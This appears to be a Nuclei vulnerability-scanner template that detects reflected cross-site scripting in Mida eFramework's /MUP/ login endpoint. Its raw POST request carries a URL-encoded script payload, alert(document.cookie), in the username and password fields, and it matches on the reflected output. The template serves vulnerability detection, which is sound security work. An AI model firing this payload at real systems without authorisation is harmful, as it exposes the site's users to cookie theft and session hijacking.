id: mida-eframework-xss info: name: Mida eFramework - Cross-Site Scripting author: pikpikcu severity: high description: Mida eFramework contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://www.exploit-db.com/exploits/48768 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N cvss-score: 7.2 cwe-id: CWE-79 metadata: max-request: 1 tags: mida,xss,edb http: - raw: - | POST /MUP/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{Hostname}}/MUP UPusername=%22%3E%3Cscript%3Ejavascript%3Aalert%28document.cookie%29%3C%2Fscript%3E&UPpassword=%22%3E%3Cscript%3Ejavascript%3Aalert%28document.cookie%29%3C%2Fscript%3E matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '">' # digest: 4b0a00483046022100dc14ebc5f98e5e7f1a8a8e7606dd5875763ec5bbdbd1e659b58c7261eb51b4100221008457176ee17c9998aa3329a827dad93c82e3b76345d1cf69d09fd2de77235c02:922c64590222798bb761d5b6d8e72950